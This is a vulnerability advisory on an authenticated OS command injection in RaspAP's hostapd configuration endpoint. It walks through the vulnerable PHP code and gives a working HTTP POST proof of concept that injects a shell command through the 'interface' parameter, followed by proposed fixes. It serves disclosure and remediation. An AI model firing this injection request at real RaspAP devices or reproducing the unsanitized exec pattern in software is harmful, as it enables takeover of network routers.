RaspAP [1] is a feature-rich wireless router software designed for various Debian-based devices, including the Raspberry Pi. It provides a default configuration for all current Raspberry Pi models with onboard wireless capabilities.
Its web-based interface allows users to configure networking services, including:
An authenticated user can modify the hotspot configuration and start a hotspot using the /hostapd_conf
endpoint.
The function DisplayHostAPDConfig()
in includes/hostapd.php
is executed when the configuration is saved.
A POST request to this endpoint requires at least the following parameters:
However, the interface
parameter is vulnerable to OS command injection due to improper sanitization. When SaveHostAPDSettings
is set to true
, the function SaveHostAPDConfig()
is called. This function validates wpa
, wpa_pairwise
, and
hw_mode
, but it does not check the interface
parameter.
Vulnerable Code (includes/hostapd.php)
function SaveHostAPDConfig($wpa_array, $enc_types, $modes, $interfaces, $reg_domain, $status)
{
// It should not be possible to send bad data for these fields.
// If wpa fields are absent, return false and log securely.
if (!(array_key_exists($_POST['wpa'], $wpa_array)
&& array_key_exists($_POST['wpa_pairwise'], $enc_types)
&& array_key_exists($_POST['hw_mode'], $modes))
) {
$err = "Attempting to set hostapd config with wpa='".escapeshellarg($_POST['wpa']);
$err .= "', wpa_pairwise='".$escapeshellarg(_POST['wpa_pairwise']);
$err .= "and hw_mode='".$escapeshellarg(_POST['hw_mode'])."'";
error_log($err);
return false;
}
// Validate input
$good_input = true;
[TRUNCATED]
// set AP interface default, override for ap-sta & bridged options
$ap_iface = $_POST['interface']; // the hostap AP interface
$cli_iface = $_POST['interface']; // the wifi client interface
$session_iface = $_POST['interface']; // the interface that the UI needs to monitor for data usage etc.
if ($wifiAPEnable) { // for AP-STA we monitor the uap0 interface, which is always the ap interface.
$ap_iface = 'uap0';
$session_iface = 'uap0';
}
if ($bridgedEnable) { // for bridged mode we monitor the bridge, but keep the selected interface as AP.
$session_iface = 'br0';
$cli_iface = 'br0';
}
// persist user options to /etc/raspap
$cfg = [];
$cfg['WifiInterface'] = $ap_iface;
$cfg['LogEnable'] = $logEnable;
// Save previous Client mode status when Bridged
$cfg['WifiAPEnable'] = ($bridgedEnable == 1 ? $arrHostapdConf['WifiAPEnable'] : $wifiAPEnable);
$cfg['BridgedEnable'] = $bridgedEnable;
$cfg['WifiManaged'] = $cli_iface;
write_php_ini($cfg, RASPI_CONFIG.'/hostapd.ini');
$_SESSION['ap_interface'] = $session_iface;
The value of the interface
parameter is written directly into /hostapd.ini
and $_SESSION['ap_interface']
, which leads to command
injection when the endpoint is accessed again.
Code Execution Path
When /hostapd_conf
is called again, getWifiInterface()
loads the previously saved interface name from
/hostapd.ini
, storing it in $_SESSION['ap_interface']
:
<?php
require_once 'includes/wifi_functions.php';
require_once 'includes/config.php';
getWifiInterface();
function getWifiInterface()
{
$arrHostapdConf = parse_ini_file(RASPI_CONFIG.'/hostapd.ini');
$iface = $_SESSION['ap_interface'] = isset($arrHostapdConf['WifiInterface']) ? $arrHostapdConf['WifiInterface'] : RASPI_WIFI_AP_INTERFACE;
// check for 2nd wifi interface -> wifi client on different interface
exec("iw dev | awk '$1==\"Interface\" && $2!=\"$iface\" {print $2}'",$iface2);
$client_iface = $_SESSION['wifi_client_interface'] = (empty($iface2) ? $iface : trim($iface2[0]));
The OS command injection occurs in multiple places where system commands are executed using the vulnerable
$_SESSION['ap_interface']
and $_SESSION['wifi_client_interface']
:
Example 1: Command Injection in DisplayHostAPDConfig()
$reg_domain = shell_exec("iw reg get | grep -o 'country [A-Z]\{2\}' | awk 'NR==1{print $2}'");
$cmd = "iw dev ".$_SESSION['ap_interface']." info | awk '$1==\"txpower\" {print $2}'";
exec($cmd, $txpower);
Example 2: Command Injection in wifi_functions.php
exec('cat '. RASPI_HOSTAPD_CONFIG, $hostapdconfig);
if (isset($_SESSION['wifi_client_interface'])) {
exec('iwgetid '.$_SESSION['wifi_client_interface']. ' -r', $wifiNetworkID);
if (!empty($wifiNetworkID[0])) {
$managedModeEnabled = true;
}
}
Since no input sanitization is applied, an attacker can inject arbitrary shell commands.
8.6 / High / CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Run the following request twice with valid PHPSESSID
and csrf_token
values:
POST /hostapd_conf HTTP/1.1
Host: 192.168.122.21
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=hu1q8s3srp73t0t3ni6s8pfncp; theme=custom.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 158
SaveHostAPDSettings=true&csrf_token=e04a92497ccad0cb056ae2ca9d44538a206bb93b2c816d52df44c95611758867&wpa=2&wpa_pairwise=CCMP&hw_mode=n&interface=';+touch+/tmp/smarttecs.com
Our proof of concept code is available on GitHub [2].
Validation Function
Introduce a function that validates the provided interface name against real network interfaces.
function validateInterface($interface) {
// Retrieve all available network interfaces
$valid_interfaces = shell_exec('ip -o link show | awk -F": " \'{print $2}\'');
$valid_interfaces = explode("\n", trim($valid_interfaces));
// Check if the provided interface exists in the list
return in_array($interface, $valid_interfaces, true);
}
$iface = $_SESSION['ap_interface'] = isset($arrHostapdConf['WifiInterface']) ?
$arrHostapdConf['WifiInterface'] : RASPI_WIFI_AP_INTERFACE;
+ if (!validateInterface($iface)) {
+ $iface = RASPI_WIFI_AP_INTERFACE;
+ }
Apply the Fix
Modify hostapd.php
and wifi_functions.php
to validate and sanitize user input:
- $cmd = "iw dev ".$_SESSION['ap_interface']." info | awk '$1==\"txpower\" {print $2}'";
+ $cmd = "iw dev ".escapeshellarg($_SESSION['ap_interface'])." info | awk '$1==\"txpower\" {print $2}'";
- exec('iwgetid '.$_SESSION['wifi_client_interface']. ' -r', $wifiNetworkID);
+ exec('iwgetid '.escapeshellarg($_SESSION['wifi_client_interface']). ' -r', $wifiNetworkID);
[1] Official RaspAP Webpage, RaspAP, Available at:
https://raspap.com/
[2] SmartTECS GitHub PoC Repository, GitHub, Available at:
https://github.com/security-smarttecs/cve-2025-50428